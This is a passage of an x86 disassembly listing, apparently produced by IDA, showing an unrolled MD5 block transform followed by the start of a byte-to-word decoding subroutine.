[ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+242070DBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3E423112h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0A83F051h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4787C62Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-57CFB9EDh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_8] lea eax, [ecx+eax-2B96AFFh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+698098D8h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-74BB0851h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0A44Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_8] lea eax, [ecx+eax-76A32842h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6B901122h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-2678E6Dh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5986BC72h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_8] lea eax, [ecx+eax+49B40821h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-9E1DA9Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3FBF4CC0h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+265E5A51h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_8] lea eax, [ecx+eax-16493856h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-29D0EFA3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_10] lea eax, [ecx+eax+2441453h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax-275E197Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_8] lea eax, [ecx+eax-182C0438h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+21E1CDE6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3CC8F82Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0B2AF279h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_8] lea eax, [ecx+eax+455A14EDh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-561C16FBh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3105C08h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax+676F02D9h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_8] lea eax, [ecx+eax-72D5B376h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5C6BEh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_30] mov ecx, [ebp+var_10] lea eax, [ecx+eax-788E097Fh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+6D9D6122h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_18] mov ecx, [ebp+var_8] lea eax, [ecx+eax-21AC7F4h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5B4115BCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_40] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4BDECFA9h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax-944B4B0h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_28] mov ecx, [ebp+var_8] lea eax, [ecx+eax-41404390h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+289B7EC6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_50] mov ecx, [ebp+var_10] lea eax, [ecx+eax-155ED806h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-2B10CF7Bh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_38] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4881D05h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-262B2FC7h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_20] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1924661Bh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax+1FA27CF8h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_48] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3B53A99Bh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0BD6DDBCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_10] lea eax, [ecx+eax+432AFF97h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-546BDC59h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-36C5FC7h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+655B59C3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_10] lea eax, [ecx+eax-70F3336Eh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-100B83h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-7A7BA22Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6FA87E4Fh] loc_41005C: ; DATA XREF: .data:off_41A8CCo mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1D31920h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5CFEBCECh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4E0811A1h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-8AC817Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_10] lea eax, [ecx+eax-42C50DCBh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+2AD7D2BBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-14792C6Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [ecx], eax mov eax, [ebp+arg_0] mov eax, [eax+4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov [ecx+4], eax mov eax, [ebp+arg_0] mov eax, [eax+8] add eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] add eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax leave retn sub_40F3CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410244 proc near ; CODE XREF: sub_40F3CE+Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_410263 ; --------------------------------------------------------------------------- loc_410253: ; CODE XREF: sub_410244+66j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_410263: ; CODE XREF: sub_410244+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_4102AC mov eax, [ebp+arg_4] add eax, [ebp+var_8] movzx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+1] shl ecx, 8 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx 